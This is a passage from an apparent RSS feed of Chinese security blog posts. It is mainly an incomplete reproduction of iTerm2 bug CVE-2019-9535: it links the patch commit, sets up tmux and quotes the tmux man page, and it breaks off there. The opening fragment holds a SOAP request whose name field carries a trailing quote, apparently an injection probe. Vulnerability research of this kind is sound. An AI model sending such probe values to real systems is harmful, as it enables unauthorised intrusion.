style="font-size:16px;font-family:宋体;">&#34;name&#34;:&#34;aaaaa1&#39;&#34;,</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">&#34;nick_name&#34;:null,</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">&#34;orgId&#34;:null,</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">&#34;password&#34;:&#34;111111&#34;,</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">&#34;status&#34;:&#34;0&#34;}&lt;/user&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">     &lt;/apiw:updateTheUser&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">  &lt;/soapenv:Body&gt;&lt;/soapenv:Envelope&gt;</span></p><p style="margin-top: auto;margin-bottom: auto;text-align: left;"><br/></p><p> </p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.26534296028880866" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=0a83f9f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpT7nVEIO35z1ZW2a5lT99fibcTZKbAPrMXydEU5VqwKlRbR4KseSZFiblE20MvLesb8rZXepCd4fVKQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247483691">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8a3fc91f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA3MzI1MTIzMw%3D%3D%26mid%3D2247483691%26idx%3D1%26sn%3D245c751d2a16034e1d45e67f17def18f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 28 May 2020 15:27:00 +0800</pubDate>
    </item>
    <item>
      <title>[CVE-2019-9535] Iterm2命令执行的不完整复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA3MzI1MTIzMw==&amp;mid=2247483682&amp;idx=1&amp;sn=9a69f705c0f65bf629118b623784ef1c</link>
      <description>CVE-2019-9535的一次不完整复现</description>
      <content:encoded><![CDATA[<p>
原创 <span>Lz1y</span> <span>2019-10-12 15:26</span> <span style="display: inline-block;"></span>
</p>

<p>CVE-2019-9535的一次不完整复现</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b403fb67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMVffxZfbHkYJSkaeagYfwE4FYWIBlPCQQzpvniaD3DgPLkbicRYOOlp9A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><h2 style="box-sizing: border-box;margin-bottom: 1rem;line-height: 1.35;font-size: 24px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">CVE-2019-9535</h2><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">昨天爆出了一个Iterm2的代码执行漏洞，看着非常的刺激吓人，因为我也在用，所以趁热赶紧尝试复现一下。源头文章是来自：<a href="https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/" target="_blank">https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">mozilla他们通过MOSS自动审计出来的（？）。</p><h2 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;line-height: 1.35;font-size: 24px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">历程</h2><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">首先通过关键字找到对应的commit记录：<a href="https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c" target="_blank">https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c</a></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2609375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9086a1fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMiaic24JzqCO3IP0HnCiboFhLWnOFVRfvGr3LTia8whIcXXPNHKvObZWtCQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">根据commit描述，可以看到这个就是CVE-2019-9535的补丁，而洞的根本原因大概可以了解到。</p><ol style="" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);line-height: 1.75em;"><span style="box-sizing: border-box;line-height: 1.75em;">有关于 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">session name</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);line-height: 1.75em;"><span style="box-sizing: border-box;line-height: 1.75em;">与 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">set</span><span class="pun" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">titles</span><span class="pun" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">-</span><span class="kwd" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">string</span></code>, <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">status</span><span class="pun" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">left</span></code>, and <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">status</span><span class="pun" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(51, 51, 51);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 1.75em;">right</span></code>这三个变量有关。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);line-height: 1.75em;"><span style="box-sizing: border-box;line-height: 1.75em;">是轮询获取title的，所以应该是自动触发的。</span></span></p></li></ol><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">我之前都是没有使用过Tmux的，而是使用Screen，所以Iterm2并没有集成Tmux环境。</p><h3 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">安装Tmux集成环境</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">根据Iterm2文档：<a href="https://iterm2.com/documentation-tmux-integration.html" target="_blank">https://iterm2.com/documentation-tmux-integration.html</a></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.203125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e8a2e136&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMz9eN5pKvzH8Bqe076dsLRtxRwXc1BT7ic7tS19rlgMTsd7FNPbmNSaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">使用homebrew自动安装即可-- <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">brew install tmux</span></code>，<br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">然后就能使用 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">tmux</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">CC</span></code>建立起tmux服务了。启动后，会新建一个tmux窗口</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.521875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=1837b66b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMRhUWTwyO9Dq3Qd3SXfSzjB9huShO4UticNsvUIU0StHlicmltD8lxMyQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Tmux命令<br/></h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">根据man文档，能够很快的找到Tmux相关的指令以及参数：<a href="http://man7.org/linux/man-pages/man1/tmux.1.html" target="_blank">http://man7.org/linux/man-pages/man1/tmux.1.html</a></p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">     </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">set</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">titles</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> used to </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">set</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> the client terminal title </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">set</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">titles </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">is</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             on</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Formats</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> are expanded</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> see the FORMATS section</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">     status</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">left </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Display</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">by</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">default</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> the session name</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> to the left of the</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             status line</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> will be passed through strftime</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="lit" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">3</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Also</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             see the FORMATS </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">and</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> STYLES sections</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">For</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> details on how the names </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">and</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> titles can be </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">set</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> see the</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             NAMES AND TITLES section</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Examples</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> are</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                   </span><span class="com" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">#(sysctl vm.loadavg)</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 